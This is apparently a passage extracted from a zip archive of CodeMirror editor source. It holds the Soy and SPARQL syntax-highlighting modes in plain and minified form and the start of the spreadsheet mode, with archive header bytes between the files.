            if (match = stream.match(/^\.?([\w]+(?!\.[\w]+)*)/)) {
              state.soyState.pop();
              return "def";
            }
            stream.next();
            return null;

          case "templ-ref":
            if (match = stream.match(/(\.?[a-zA-Z_][a-zA-Z_0-9]+)+/)) {
              state.soyState.pop();
              // If the first character is '.', it can only be a
local template.
              if (match[0][0] == '.') {
                return "variable-2"
              }
              // Otherwise
              return "variable";
            }
            if (match = stream.match(/^\$([\w]+)/)) {
              state.soyState.pop();
              return ref(state.variables, match[1],
!state.lookupVariables);
            }

            stream.next();
            return null;

          case "namespace-def":
            if (match = stream.match(/^\.?([\w\.]+)/)) {
              state.soyState.pop();
              return "variable";
            }
            stream.next();
            return null;

          case "param-def":
            if (match = stream.match(/^\w+/)) {
              state.variables = prepend(state.variables, match[0]);
              state.soyState.pop();
              state.soyState.push("param-type");
              return "def";
            }
            stream.next();
            return null;

          case "param-ref":
            if (match = stream.match(/^\w+/)) {
              state.soyState.pop();
              return "property";
            }
            stream.next();
            return null;

          case "open-parentheses":
            if (stream.match(/[)]/)) {
              state.soyState.pop();
              return null;
            }
            return expression(stream, state);

          case "param-type":
            var peekChar = stream.peek();
            if ("}]=>,".indexOf(peekChar) != -1) {
              state.soyState.pop();
              return null;
            } else if (peekChar == "[") {
              state.soyState.push('param-type-record');
              return null;
            } else if (peekChar == "(") {
              state.soyState.push('param-type-template');
              return null;
            } else if (peekChar == "<") {
              state.soyState.push('param-type-parameter');
              return null;
            } else if (match = stream.match(/^([\w]+|[?])/)) {
              return "type";
            }
            stream.next();
            return null;

          case "param-type-record":
            var peekChar = stream.peek();
            if (peekChar == "]") {
              state.soyState.pop();
              return null;
            }
            if (stream.match(/^\w+/)) {
              state.soyState.push('param-type');
              return "property";
            }
            stream.next();
            return null;

          case "param-type-parameter":
            if (stream.match(/^[>]/)) {
              state.soyState.pop();
              return null;
            }
            if (stream.match(/^[<,]/)) {
              state.soyState.push('param-type');
              return null;
            }
            stream.next();
            return null;

          case "param-type-template":
            if (stream.match(/[>]/)) {
              state.soyState.pop();
              state.soyState.push('param-type');
              return null;
            }
            if (stream.match(/^\w+/)) {
              state.soyState.push('param-type');
              return "def";
            }
            stream.next();
            return null;

          case "var-def":
            if (match = stream.match(/^\$([\w]+)/)) {
              state.variables = prepend(state.variables, match[1]);
              state.soyState.pop();
              return "def";
            }
            stream.next();
            return null;

          case "for-loop":
            if (stream.match(/\bin\b/)) {
              state.soyState.pop();
              return "keyword";
            }
            if (stream.peek() == "$") {
              state.soyState.push('var-def');
              return null;
            }
            stream.next();
            return null;

          case "record-literal":
            if (stream.match(/^[)]/)) {
              state.soyState.pop();
              return null;
            }
            if (stream.match(/[(,]/)) {
              state.soyState.push("map-value")
              state.soyState.push("record-key")
              return null;
            }
            stream.next()
            return null;

          case "map-literal":
            if (stream.match(/^[)]/)) {
              state.soyState.pop();
              return null;
            }
            if (stream.match(/[(,]/)) {
              state.soyState.push("map-value")
              state.soyState.push("map-value")
              return null;
            }
            stream.next()
            return null;

          case "list-literal":
            if (stream.match(/\]/)) {
              state.soyState.pop();
              state.lookupVariables = true;
              popcontext(state);
              return null;
            }
            if (stream.match(/\bfor\b/)) {
              state.lookupVariables = true;
              state.soyState.push('for-loop');
              return "keyword";
            }
            return expression(stream, state);

          case "record-key":
            if (stream.match(/[\w]+/)) {
              return "property";
            }
            if (stream.match(/^[:]/)) {
              state.soyState.pop();
              return null;
            }
            stream.next();
            return null;

          case "map-value":
            if (stream.peek() == ")" || stream.peek() ==
"," || stream.match(/^[:)]/)) {
              state.soyState.pop();
              return null;
            }
            return expression(stream, state);

          case "import":
            if (stream.eat(";")) {
              state.soyState.pop();
              state.indent -= 2 * config.indentUnit;
              return null;
            }
            if (stream.match(/\w+(?=\s+as)/)) {
              return "variable";
            }
            if (match = stream.match(/\w+/)) {
              return /(from|as)/.test(match[0]) ? "keyword" :
"def";
            }
            if (match = stream.match(/^["']/)) {
              state.soyState.push("string");
              state.quoteKind = match[0];
              return "string";
            }
            stream.next();
            return null;

          case "tag":
            var endTag = state.tag[0] == "/";
            var tagName = endTag ? state.tag.substring(1) : state.tag;
            var tag = tags[tagName];
            if (stream.match(/^\/?}/)) {
              var selfClosed = stream.current() == "/}";
              if (selfClosed && !endTag) {
                popcontext(state);
              }
              if (state.tag == "/template" || state.tag ==
"/deltemplate") {
                state.variables = prepend(null, 'ij');
                state.indent = 0;
              } else {
                state.indent -= config.indentUnit *
                    (selfClosed || indentingTags.indexOf(state.tag) == -1 ?
2 : 1);
              }
              state.soyState.pop();
              return "keyword";
            } else if (stream.match(/^([\w?]+)(?==)/)) {
              if (state.context && state.context.tag == tagName
&& stream.current() == "kind" && (match =
stream.match(/^="([^"]+)/, false))) {
                var kind = match[1];
                state.context.kind = kind;
                var mode = modes[kind] || modes.html;
                var localState = last(state.localStates);
                if (localState.mode.indent) {
                  state.indent += localState.mode.indent(localState.state,
"", "");
                }
                state.localStates.push({
                  mode: mode,
                  state: CodeMirror.startState(mode)
                });
              }
              return "attribute";
            }
            return expression(stream, state);

          case "literal":
            if (stream.match(/^(?=\{\/literal})/)) {
              state.soyState.pop();
              return this.token(stream, state);
            }
            return tokenUntil(stream, state, /\{\/literal}/);
        }

        if (stream.match(/^\{literal}/)) {
          state.indent += config.indentUnit;
          state.soyState.push("literal");
          state.context = new Context(state.context, "literal",
state.variables);
          return "keyword";

        // A tag-keyword must be followed by whitespace, comment or a
closing tag.
        } else if (match =
stream.match(/^\{([/@\\]?\w+\??)(?=$|[\s}]|\/[/*])/)) {
          var prevTag = state.tag;
          state.tag = match[1];
          var endTag = state.tag[0] == "/";
          var indentingTag = !!tags[state.tag];
          var tagName = endTag ? state.tag.substring(1) : state.tag;
          var tag = tags[tagName];
          if (state.tag != "/switch")
            state.indent += ((endTag || tag && tag.reduceIndent)
&& prevTag != "switch" ? 1 : 2) * config.indentUnit;

          state.soyState.push("tag");
          var tagError = false;
          if (tag) {
            if (!endTag) {
              if (tag.soyState) state.soyState.push(tag.soyState);
            }
            // If a new tag, open a new context.
            if (!tag.noEndTag && (indentingTag || !endTag)) {
              state.context = new Context(state.context, state.tag,
tag.variableScope ? state.variables : null);
            // Otherwise close the current context.
            } else if (endTag) {
              if (!state.context || state.context.tag != tagName) {
                tagError = true;
              } else if (state.context) {
                if (state.context.kind) {
                  state.localStates.pop();
                  var localState = last(state.localStates);
                  if (localState.mode.indent) {
                    state.indent -=
localState.mode.indent(localState.state, "", "");
                  }
                }
                popcontext(state);
              }
            }
          } else if (endTag) {
            // Assume all tags with a closing tag are defined in the
config.
            tagError = true;
          }
          return (tagError ? "error " : "") +
"keyword";

        // Not a tag-keyword; it's an implicit print tag.
        } else if (stream.eat('{')) {
          state.tag = "print";
          state.indent += 2 * config.indentUnit;
          state.soyState.push("tag");
          return "keyword";
        } else if (!state.context && stream.match(/\bimport\b/)) {
          state.soyState.push("import");
          state.indent += 2 * config.indentUnit;
          return "keyword";
        }

        return tokenUntil(stream, state, /\{|\s+\/\/|\/\*/);
      },

      indent: function(state, textAfter, line) {
        var indent = state.indent, top = last(state.soyState);
        if (top == "comment") return CodeMirror.Pass;

        if (top == "literal") {
          if (/^\{\/literal}/.test(textAfter)) indent -= config.indentUnit;
        } else {
          if (/^\s*\{\/(template|deltemplate)\b/.test(textAfter)) return 0;
          if
(/^\{(\/|(fallbackmsg|elseif|else|ifempty)\b)/.test(textAfter)) indent -=
config.indentUnit;
          if (state.tag != "switch" &&
/^\{(case|default)\b/.test(textAfter)) indent -= config.indentUnit;
          if (/^\{\/switch\b/.test(textAfter)) indent -= config.indentUnit;
        }
        var localState = last(state.localStates);
        if (indent && localState.mode.indent) {
          indent += localState.mode.indent(localState.state, textAfter,
line);
        }
        return indent;
      },

      innerMode: function(state) {
        if (state.soyState.length && last(state.soyState) !=
"literal") return null;
        else return last(state.localStates);
      },

      electricInput:
/^\s*\{(\/|\/template|\/deltemplate|\/switch|fallbackmsg|elseif|else|case|default|ifempty|\/literal\})$/,
      lineComment: "//",
      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      blockCommentContinue: " * ",
      useInnerComments: false,
      fold: "indent"
    };
  }, "htmlmixed");

  CodeMirror.registerHelper("wordChars", "soy",
/[\w$]/);

  CodeMirror.registerHelper("hintWords", "soy",
Object.keys(tags).concat(
      ["css", "debugger"]));

  CodeMirror.defineMIME("text/x-soy", "soy");
});
PKJ��[�Ȧ�$�$codemirror/mode/soy/soy.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed"],a):a(CodeMirror)})((function(a){"use
strict";var
b={noEndTag:!0,soyState:"param-def"},c={alias:{noEndTag:!0},delpackage:{noEndTag:!0},namespace:{noEndTag:!0,soyState:"namespace-def"},"@param":b,"@param?":b,"@inject":b,"@inject?":b,"@state":b,template:{soyState:"templ-def",variableScope:!0},literal:{},msg:{},fallbackmsg:{noEndTag:!0,reduceIndent:!0},select:{},plural:{},let:{soyState:"var-def"},if:{},elseif:{noEndTag:!0,reduceIndent:!0},else:{noEndTag:!0,reduceIndent:!0},switch:{},case:{noEndTag:!0,reduceIndent:!0},default:{noEndTag:!0,reduceIndent:!0},foreach:{variableScope:!0,soyState:"for-loop"},ifempty:{noEndTag:!0,reduceIndent:!0},for:{variableScope:!0,soyState:"for-loop"},call:{soyState:"templ-ref"},param:{soyState:"param-ref"},print:{noEndTag:!0},deltemplate:{soyState:"templ-def",variableScope:!0},delcall:{soyState:"templ-ref"},log:{},element:{variableScope:!0}},d=Object.keys(c).filter((function(a){return!c[a].noEndTag||c[a].reduceIndent}));a.defineMode("soy",(function(b){function
e(a){return a[a.length-1]}function f(a,b,c){if(a.sol()){for(var
d=0;d<b.indent&&a.eat(/\s/);d++);if(d)return null}var
f=a.string,g=c.exec(f.substr(a.pos));g&&(a.string=f.substr(0,a.pos+g.index));var
h=a.hideFirstChars(b.indent,(function(){var c=e(b.localStates);return
c.mode.token(a,c.state)}));return a.string=f,h}function
g(a,b){for(;a;){if(a.element===b)return!0;a=a.next}return!1}function
h(a,b){return{element:b,next:a}}function
i(a){a.context&&(a.context.scope&&(a.variables=a.context.scope),a.context=a.context.previousContext)}function
j(a,b,c){return
g(a,b)?"variable-2":c?"variable":"variable-2
error"}function
k(a,b,c){this.previousContext=a,this.tag=b,this.kind=null,this.scope=c}function
l(a,b){var c;return
a.match(/[[]/)?(b.soyState.push("list-literal"),b.context=new
k(b.context,"list-literal",b.variables),b.lookupVariables=!1,null):a.match(/map\b/)?(b.soyState.push("map-literal"),"keyword"):a.match(/record\b/)?(b.soyState.push("record-literal"),"keyword"):a.match(/([\w]+)(?=\()/)?"variable
callee":(c=a.match(/^["']/))?(b.soyState.push("string"),b.quoteKind=c[0],"string"):a.match(/^[(]/)?(b.soyState.push("open-parentheses"),null):a.match(/(null|true|false)(?!\w)/)||a.match(/0x([0-9a-fA-F]{2,})/)||a.match(/-?([0-9]*[.])?[0-9]+(e[0-9]*)?/)?"atom":a.match(/(\||[+\-*\/%]|[=!]=|\?:|[<>]=?)/)?"operator":(c=a.match(/^\$([\w]+)/))?j(b.variables,c[1],!b.lookupVariables):(c=a.match(/^\w+/))?/^(?:as|and|or|not|in|if)$/.test(c[0])?"keyword":null:(a.next(),null)}var
m=a.getMode(b,"text/plain"),n={html:a.getMode(b,{name:"text/html",multilineTagIndentFactor:2,multilineTagIndentPastTag:!1}),attributes:m,text:m,uri:m,trusted_resource_uri:m,css:a.getMode(b,"text/css"),js:a.getMode(b,{name:"text/javascript",statementIndent:2*b.indentUnit})};return{startState:function(){return{soyState:[],variables:h(null,"ij"),scopes:null,indent:0,quoteKind:null,context:null,lookupVariables:!0,localStates:[{mode:n.html,state:a.startState(n.html)}]}},copyState:function(b){return{tag:b.tag,soyState:b.soyState.concat([]),variables:b.variables,context:b.context,indent:b.indent,quoteKind:b.quoteKind,lookupVariables:b.lookupVariables,localStates:b.localStates.map((function(b){return{mode:b.mode,state:a.copyState(b.mode,b.state)}}))}},token:function(g,m){var
o;switch(e(m.soyState)){case"comment":if(g.match(/^.*?\*\//)?m.soyState.pop():g.skipToEnd(),!m.context||!m.context.scope)for(var
o,p=/@param\??\s+(\S+)/g,q=g.current();o=p.exec(q);)m.variables=h(m.variables,o[1]);return"comment";case"string":var
o=g.match(/^.*?(["']|\\[\s\S])/);return
o?o[1]==m.quoteKind&&(m.quoteKind=null,m.soyState.pop()):g.skipToEnd(),"string"}if(!m.soyState.length||"literal"!=e(m.soyState)){if(g.match(/^\/\*/))return
m.soyState.push("comment"),"comment";if(g.match(g.sol()?/^\s*\/\/.*/:/^\s+\/\/.*/))return"comment"}switch(e(m.soyState)){case"templ-def":return(o=g.match(/^\.?([\w]+(?!\.[\w]+)*)/))?(m.soyState.pop(),"def"):(g.next(),null);case"templ-ref":return(o=g.match(/(\.?[a-zA-Z_][a-zA-Z_0-9]+)+/))?(m.soyState.pop(),"."==o[0][0]?"variable-2":"variable"):(o=g.match(/^\$([\w]+)/))?(m.soyState.pop(),j(m.variables,o[1],!m.lookupVariables)):(g.next(),null);case"namespace-def":return(o=g.match(/^\.?([\w\.]+)/))?(m.soyState.pop(),"variable"):(g.next(),null);case"param-def":return(o=g.match(/^\w+/))?(m.variables=h(m.variables,o[0]),m.soyState.pop(),m.soyState.push("param-type"),"def"):(g.next(),null);case"param-ref":return(o=g.match(/^\w+/))?(m.soyState.pop(),"property"):(g.next(),null);case"open-parentheses":return
g.match(/[)]/)?(m.soyState.pop(),null):l(g,m);case"param-type":var
r=g.peek();return-1!="}]=>,".indexOf(r)?(m.soyState.pop(),null):"["==r?(m.soyState.push("param-type-record"),null):"("==r?(m.soyState.push("param-type-template"),null):"<"==r?(m.soyState.push("param-type-parameter"),null):(o=g.match(/^([\w]+|[?])/))?"type":(g.next(),null);case"param-type-record":var
r=g.peek();return"]"==r?(m.soyState.pop(),null):g.match(/^\w+/)?(m.soyState.push("param-type"),"property"):(g.next(),null);case"param-type-parameter":return
g.match(/^[>]/)?(m.soyState.pop(),null):g.match(/^[<,]/)?(m.soyState.push("param-type"),null):(g.next(),null);case"param-type-template":return
g.match(/[>]/)?(m.soyState.pop(),m.soyState.push("param-type"),null):g.match(/^\w+/)?(m.soyState.push("param-type"),"def"):(g.next(),null);case"var-def":return(o=g.match(/^\$([\w]+)/))?(m.variables=h(m.variables,o[1]),m.soyState.pop(),"def"):(g.next(),null);case"for-loop":return
g.match(/\bin\b/)?(m.soyState.pop(),"keyword"):"$"==g.peek()?(m.soyState.push("var-def"),null):(g.next(),null);case"record-literal":return
g.match(/^[)]/)?(m.soyState.pop(),null):g.match(/[(,]/)?(m.soyState.push("map-value"),m.soyState.push("record-key"),null):(g.next(),null);case"map-literal":return
g.match(/^[)]/)?(m.soyState.pop(),null):g.match(/[(,]/)?(m.soyState.push("map-value"),m.soyState.push("map-value"),null):(g.next(),null);case"list-literal":return
g.match(/\]/)?(m.soyState.pop(),m.lookupVariables=!0,i(m),null):g.match(/\bfor\b/)?(m.lookupVariables=!0,m.soyState.push("for-loop"),"keyword"):l(g,m);case"record-key":return
g.match(/[\w]+/)?"property":g.match(/^[:]/)?(m.soyState.pop(),null):(g.next(),null);case"map-value":return")"==g.peek()||","==g.peek()||g.match(/^[:)]/)?(m.soyState.pop(),null):l(g,m);case"import":return
g.eat(";")?(m.soyState.pop(),m.indent-=2*b.indentUnit,null):g.match(/\w+(?=\s+as)/)?"variable":(o=g.match(/\w+/))?/(from|as)/.test(o[0])?"keyword":"def":(o=g.match(/^["']/))?(m.soyState.push("string"),m.quoteKind=o[0],"string"):(g.next(),null);case"tag":var
s="/"==m.tag[0],t=s?m.tag.substring(1):m.tag,u=c[t];if(g.match(/^\/?}/)){var
v="/}"==g.current();return
v&&!s&&i(m),"/template"==m.tag||"/deltemplate"==m.tag?(m.variables=h(null,"ij"),m.indent=0):m.indent-=b.indentUnit*(v||-1==d.indexOf(m.tag)?2:1),m.soyState.pop(),"keyword"}if(g.match(/^([\w?]+)(?==)/)){if(m.context&&m.context.tag==t&&"kind"==g.current()&&(o=g.match(/^="([^"]+)/,!1))){var
w=o[1];m.context.kind=w;var
x=n[w]||n.html,y=e(m.localStates);y.mode.indent&&(m.indent+=y.mode.indent(y.state,"","")),m.localStates.push({mode:x,state:a.startState(x)})}return"attribute"}return
l(g,m);case"literal":return
g.match(/^(?=\{\/literal})/)?(m.soyState.pop(),this.token(g,m)):f(g,m,/\{\/literal}/)}if(g.match(/^\{literal}/))return
m.indent+=b.indentUnit,m.soyState.push("literal"),m.context=new
k(m.context,"literal",m.variables),"keyword";if(o=g.match(/^\{([\/@\\]?\w+\??)(?=$|[\s}]|\/[\/*])/)){var
z=m.tag;m.tag=o[1];var
s="/"==m.tag[0],A=!!c[m.tag],t=s?m.tag.substring(1):m.tag,u=c[t];"/switch"!=m.tag&&(m.indent+=((s||u&&u.reduceIndent)&&"switch"!=z?1:2)*b.indentUnit),m.soyState.push("tag");var
B=!1;if(u)if(s||u.soyState&&m.soyState.push(u.soyState),u.noEndTag||!A&&s){if(s)if(m.context&&m.context.tag==t){if(m.context){if(m.context.kind){m.localStates.pop();var
y=e(m.localStates);y.mode.indent&&(m.indent-=y.mode.indent(y.state,"",""))}i(m)}}else
B=!0}else m.context=new
k(m.context,m.tag,u.variableScope?m.variables:null);else
s&&(B=!0);return(B?"error
":"")+"keyword"}return
g.eat("{")?(m.tag="print",m.indent+=2*b.indentUnit,m.soyState.push("tag"),"keyword"):!m.context&&g.match(/\bimport\b/)?(m.soyState.push("import"),m.indent+=2*b.indentUnit,"keyword"):f(g,m,/\{|\s+\/\/|\/\*/)},indent:function(c,d,f){var
g=c.indent,h=e(c.soyState);if("comment"==h)return
a.Pass;if("literal"==h)/^\{\/literal}/.test(d)&&(g-=b.indentUnit);else{if(/^\s*\{\/(template|deltemplate)\b/.test(d))return
0;/^\{(\/|(fallbackmsg|elseif|else|ifempty)\b)/.test(d)&&(g-=b.indentUnit),"switch"!=c.tag&&/^\{(case|default)\b/.test(d)&&(g-=b.indentUnit),/^\{\/switch\b/.test(d)&&(g-=b.indentUnit)}var
i=e(c.localStates);return
g&&i.mode.indent&&(g+=i.mode.indent(i.state,d,f)),g},innerMode:function(a){return
a.soyState.length&&"literal"!=e(a.soyState)?null:e(a.localStates)},electricInput:/^\s*\{(\/|\/template|\/deltemplate|\/switch|fallbackmsg|elseif|else|case|default|ifempty|\/literal\})$/,lineComment:"//",blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:"
*
",useInnerComments:!1,fold:"indent"}}),"htmlmixed"),a.registerHelper("wordChars","soy",/[\w$]/),a.registerHelper("hintWords","soy",Object.keys(c).concat(["css","debugger"])),a.defineMIME("text/x-soy","soy")}));PKJ��[�	����
codemirror/mode/sparql/sparql.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sparql", function(config) {
  var indentUnit = config.indentUnit;
  var curPunc;

  function wordRegexp(words) {
    return new RegExp("^(?:" + words.join("|") +
")$", "i");
  }
  var ops = wordRegexp(["str", "lang",
"langmatches", "datatype", "bound",
"sameterm", "isiri", "isuri",
                        "iri", "uri",
"bnode", "count", "sum", "min",
"max", "avg", "sample",
                        "group_concat", "rand",
"abs", "ceil", "floor", "round",
"concat", "substr", "strlen",
                        "replace", "ucase",
"lcase", "encode_for_uri", "contains",
"strstarts", "strends",
                        "strbefore", "strafter",
"year", "month", "day", "hours",
"minutes", "seconds",
                        "timezone", "tz",
"now", "uuid", "struuid", "md5",
"sha1", "sha256", "sha384",
                        "sha512", "coalesce",
"if", "strlang", "strdt",
"isnumeric", "regex", "exists",
                        "isblank", "isliteral",
"a", "bind"]);
  var keywords = wordRegexp(["base", "prefix",
"select", "distinct", "reduced",
"construct", "describe",
                             "ask", "from",
"named", "where", "order", "limit",
"offset", "filter", "optional",
                             "graph", "by",
"asc", "desc", "as", "having",
"undef", "values", "group",
                             "minus", "in",
"not", "service", "silent",
"using", "insert", "delete",
"union",
                             "true", "false",
"with",
                             "data", "copy",
"to", "move", "add", "create",
"drop", "clear", "load"]);
  var operatorChars = /[*+\-<>=&|\^\/!\?]/;

  function tokenBase(stream, state) {
    var ch = stream.next();
    curPunc = null;
    if (ch == "$" || ch == "?") {
      if(ch == "?" && stream.match(/\s/, false)){
        return "operator";
      }
     
stream.match(/^[A-Za-z0-9_\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][A-Za-z0-9_\u00B7\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u037D\u037F-\u1FFF\u200C-\u200D\u203F-\u2040\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]*/);
      return "variable-2";
    }
    else if (ch == "<" &&
!stream.match(/^[\s\u00a0=]/, false)) {
      stream.match(/^[^\s\u00a0>]*>?/);
      return "atom";
    }
    else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenLiteral(ch);
      return state.tokenize(stream, state);
    }
    else if (/[{}\(\),\.;\[\]]/.test(ch)) {
      curPunc = ch;
      return "bracket";
    }
    else if (ch == "#") {
      stream.skipToEnd();
      return "comment";
    }
    else if (operatorChars.test(ch)) {
      stream.eatWhile(operatorChars);
      return "operator";
    }
    else if (ch == ":") {
      stream.eatWhile(/[\w\d\._\-]/);
      return "atom";
    }
    else if (ch == "@") {
      stream.eatWhile(/[a-z\d\-]/i);
      return "meta";
    }
    else {
      stream.eatWhile(/[_\w\d]/);
      if (stream.eat(":")) {
        stream.eatWhile(/[\w\d_\-]/);
        return "atom";
      }
      var word = stream.current();
      if (ops.test(word))
        return "builtin";
      else if (keywords.test(word))
        return "keyword";
      else
        return "variable";
    }
  }

  function tokenLiteral(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      return "string";
    };
  }

  function pushContext(state, type, col) {
    state.context = {prev: state.context, indent: state.indent, col: col,
type: type};
  }
  function popContext(state) {
    state.indent = state.context.indent;
    state.context = state.context.prev;
  }

  return {
    startState: function() {
      return {tokenize: tokenBase,
              context: null,
              indent: 0,
              col: 0};
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (state.context && state.context.align == null)
state.context.align = false;
        state.indent = stream.indentation();
      }
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);

      if (style != "comment" && state.context &&
state.context.align == null && state.context.type !=
"pattern") {
        state.context.align = true;
      }

      if (curPunc == "(") pushContext(state, ")",
stream.column());
      else if (curPunc == "[") pushContext(state, "]",
stream.column());
      else if (curPunc == "{") pushContext(state, "}",
stream.column());
      else if (/[\]\}\)]/.test(curPunc)) {
        while (state.context && state.context.type ==
"pattern") popContext(state);
        if (state.context && curPunc == state.context.type) {
          popContext(state);
          if (curPunc == "}" && state.context &&
state.context.type == "pattern")
            popContext(state);
        }
      }
      else if (curPunc == "." && state.context &&
state.context.type == "pattern") popContext(state);
      else if (/atom|string|variable/.test(style) && state.context)
{
        if (/[\}\]]/.test(state.context.type))
          pushContext(state, "pattern", stream.column());
        else if (state.context.type == "pattern" &&
!state.context.align) {
          state.context.align = true;
          state.context.col = stream.column();
        }
      }

      return style;
    },

    indent: function(state, textAfter) {
      var firstChar = textAfter && textAfter.charAt(0);
      var context = state.context;
      if (/[\]\}]/.test(firstChar))
        while (context && context.type == "pattern")
context = context.prev;

      var closing = context && firstChar == context.type;
      if (!context)
        return 0;
      else if (context.type == "pattern")
        return context.col;
      else if (context.align)
        return context.col + (closing ? 0 : 1);
      else
        return context.indent + (closing ? 0 : indentUnit);
    },

    lineComment: "#"
  };
});

CodeMirror.defineMIME("application/sparql-query",
"sparql");

});
PKJ��[����55$codemirror/mode/sparql/sparql.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("sparql",(function(a){function
b(a){return new
RegExp("^(?:"+a.join("|")+")$","i")}function
c(a,b){var
c=a.next();if(g=null,"$"==c||"?"==c)return"?"==c&&a.match(/\s/,!1)?"operator":(a.match(/^[A-Za-z0-9_\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][A-Za-z0-9_\u00B7\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u037D\u037F-\u1FFF\u200C-\u200D\u203F-\u2040\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]*/),"variable-2");if("<"!=c||a.match(/^[\s\u00a0=]/,!1)){if('"'==c||"'"==c)return
b.tokenize=d(c),b.tokenize(a,b);if(/[{}\(\),\.;\[\]]/.test(c))return
g=c,"bracket";if("#"==c)return
a.skipToEnd(),"comment";if(k.test(c))return
a.eatWhile(k),"operator";if(":"==c)return
a.eatWhile(/[\w\d\._\-]/),"atom";if("@"==c)return
a.eatWhile(/[a-z\d\-]/i),"meta";if(a.eatWhile(/[_\w\d]/),a.eat(":"))return
a.eatWhile(/[\w\d_\-]/),"atom";var e=a.current();return
i.test(e)?"builtin":j.test(e)?"keyword":"variable"}return
a.match(/^[^\s\u00a0>]*>?/),"atom"}function d(a){return
function(b,d){for(var
e,f=!1;null!=(e=b.next());){if(e==a&&!f){d.tokenize=c;break}f=!f&&"\\"==e}return"string"}}function
e(a,b,c){a.context={prev:a.context,indent:a.indent,col:c,type:b}}function
f(a){a.indent=a.context.indent,a.context=a.context.prev}var
g,h=a.indentUnit,i=b(["str","lang","langmatches","datatype","bound","sameterm","isiri","isuri","iri","uri","bnode","count","sum","min","max","avg","sample","group_concat","rand","abs","ceil","floor","round","concat","substr","strlen","replace","ucase","lcase","encode_for_uri","contains","strstarts","strends","strbefore","strafter","year","month","day","hours","minutes","seconds","timezone","tz","now","uuid","struuid","md5","sha1","sha256","sha384","sha512","coalesce","if","strlang","strdt","isnumeric","regex","exists","isblank","isliteral","a","bind"]),j=b(["base","prefix","select","distinct","reduced","construct","describe","ask","from","named","where","order","limit","offset","filter","optional","graph","by","asc","desc","as","having","undef","values","group","minus","in","not","service","silent","using","insert","delete","union","true","false","with","data","copy","to","move","add","create","drop","clear","load"]),k=/[*+\-<>=&|\^\/!\?]/;return{startState:function(){return{tokenize:c,context:null,indent:0,col:0}},token:function(a,b){if(a.sol()&&(b.context&&null==b.context.align&&(b.context.align=!1),b.indent=a.indentation()),a.eatSpace())return
null;var
c=b.tokenize(a,b);if("comment"!=c&&b.context&&null==b.context.align&&"pattern"!=b.context.type&&(b.context.align=!0),"("==g)e(b,")",a.column());else
if("["==g)e(b,"]",a.column());else
if("{"==g)e(b,"}",a.column());else
if(/[\]\}\)]/.test(g)){for(;b.context&&"pattern"==b.context.type;)f(b);b.context&&g==b.context.type&&(f(b),"}"==g&&b.context&&"pattern"==b.context.type&&f(b))}else"."==g&&b.context&&"pattern"==b.context.type?f(b):/atom|string|variable/.test(c)&&b.context&&(/[\}\]]/.test(b.context.type)?e(b,"pattern",a.column()):"pattern"!=b.context.type||b.context.align||(b.context.align=!0,b.context.col=a.column()));return
c},indent:function(a,b){var
c=b&&b.charAt(0),d=a.context;if(/[\]\}]/.test(c))for(;d&&"pattern"==d.type;)d=d.prev;var
e=d&&c==d.type;return
d?"pattern"==d.type?d.col:d.align?d.col+(e?0:1):d.indent+(e?0:h):0},lineComment:"#"}})),a.defineMIME("application/sparql-query","sparql")}));PKJ��[�96DD*codemirror/mode/spreadsheet/spreadsheet.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("spreadsheet", function () {
    return {
      startState: function () {
        return {
          stringType: null,
          stack: []
        };
      },
      token: function (stream, state) {
        if (!stream) return;

        //check for state changes
        if (state.stack.length === 0) {
          //strings
          if ((stream.peek() == '"') || (stream.peek() ==
"'")) {
            state.stringType = stream.peek();
            stream.next(); // Skip quote
            state.stack.unshift("string");
          }
        }

        //return state
        //stack has
        switch (state.stack[0]) {
        case "string":
          while (state.stack[0] === "string" &&
!stream.eol()) {
            if (stream.peek() === state.stringType) {
              stream.next(); // Skip quote
              state.stack.shift(); // Clear flag
            } else if (stream.peek() === "\\") {
              stream.next();
              stream.next();
            } else {
              stream.match(/^.[^\\\"\']*/);
            }
          }
          return "string";

        case "characterClass":
          while (state.stack[0] === "characterClass" &&
!stream.eol()) {
            if (!(stream.match(/^[^\]\\]+/) || stream.match(/^\\./)))
              state.stack.shift();
          }
          return "operator";
        }

